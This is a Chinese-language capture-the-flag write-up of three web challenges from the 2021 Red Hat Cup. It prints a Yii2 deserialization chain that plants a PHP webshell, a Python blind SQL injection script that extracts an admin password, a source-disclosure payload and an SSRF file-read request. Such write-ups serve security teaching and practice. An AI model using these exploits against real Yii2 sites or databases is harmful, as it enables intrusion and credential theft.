第四届红帽杯网络安全大赛 Web 部分writeup

Posted 2021-05-12 bfengj

前言

记录一下web的wp，随手写的，只会前三题，确实都很简单。

find_it

扫到robots.txt，发现1ndexx.php，直接访问不了，访问.1ndexx.php.swp得到源码，然后读flag：

?code=<?= show_source(glob('./*')[2]);

再访问hack.php：

base32解密一下即可得到flag。

framework

是个yii2的框架，扫出来www.zip下载源码，找到了反序列化的路由，yii2的反序列化之前审过了，直接拿POC打：

<?php

namespace yii\\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents("feng.php","<?php eval(\\$_POST[0]);?>");exit();';
        }
    }
}
namespace yii\\db{

    use yii\\web\\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\\web{

    use yii\\rest\\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\\db\\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

蚁剑连上去feng.php，然后拿出绕过disable_functions的插件，直接秒，然后/readflag：

WebsiteManger

f12看到<div class="avtar"><img src="image.php?id=3" width="200" height="200"/></div>

所以image.php存在SQL注入，经过一系列fuzz，写个python脚本跑一下：

"""
Author:feng
"""
import requests

url='http://eci-2zefme7yqvztlaat6my5.cloudeci1.ichunqiu.com/image.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{},1))<{},sleep(0.5),1)".format(i,j)
        #payload="0/**/or/**/if(ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))<{},1,0)".format(i,j)
        #payload="0/**/or/**/if(ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='users'),{},1))<{},1,0)".format(i,j)
        payload="0/**/or/**/if(ascii(substr((select/**/group_concat(password)from/**/users),{},1))<{},1,0)".format(i,j)
        params={
            'id':payload
        }
        r=requests.get(url=url,params=params)
        #print(r.text)
        if len(r.text)>200:
            max=j
        else :
            min=j


"images,users"
"username,password"
"admin"  "d6ec745f9d22e6a9ee099"

然后直接登录，curl.php似乎是SSRF，直接读/flag：

host=file%3A%2F%2F%2Fflag&referer=